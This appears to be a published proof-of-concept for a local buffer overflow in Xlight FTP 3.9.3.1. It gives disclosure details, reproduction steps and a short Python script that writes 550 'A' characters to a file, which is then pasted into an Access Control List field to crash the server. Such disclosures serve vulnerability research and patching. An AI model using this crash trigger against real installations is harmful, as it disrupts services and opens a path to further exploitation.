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Xlight FTP 3.9.3.1 - Buffer Overflow (PoC)

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# Exploit Title: Xlight FTP 3.9.3.1 - 'Buffer Overflow' (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-12
# Vendor Homepage: https://www.xlightftpd.com/
# Software Link: https://www.xlightftpd.com/download/setup.exe
# Tested Version: 3.9.3.1
# Vulnerability Type: Buffer Overflow Local
# Tested on OS: Windows XP SP3 -  Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: Xlight FTP 3.9.3.1 'Access Control List' Buffer Overflow (PoC)

# Steps to reproduce:
# 1. - Download and Xlight FTP
# 2. - Run the python script and it will create exploit.txt file.
# 3. - Open Xlight FTP 3.9.3.1
# 4. - "File and Directory - Access Control List - Setup - Added users list directories
# 5. - Go to Specify file or directory name applied or Specify username applied to or Specify groupname applied
# 6. - Go to Setup -> added -> Enter new Item -  Paste the characters 
# 7  - Crashed

#!/usr/bin/python

exploit = 'A' * 550

try: 
    file = open("exploit.txt","w")
    file.write(exploit)
    file.close()

    print("POC is created")
except:
    print("POC not created")
            
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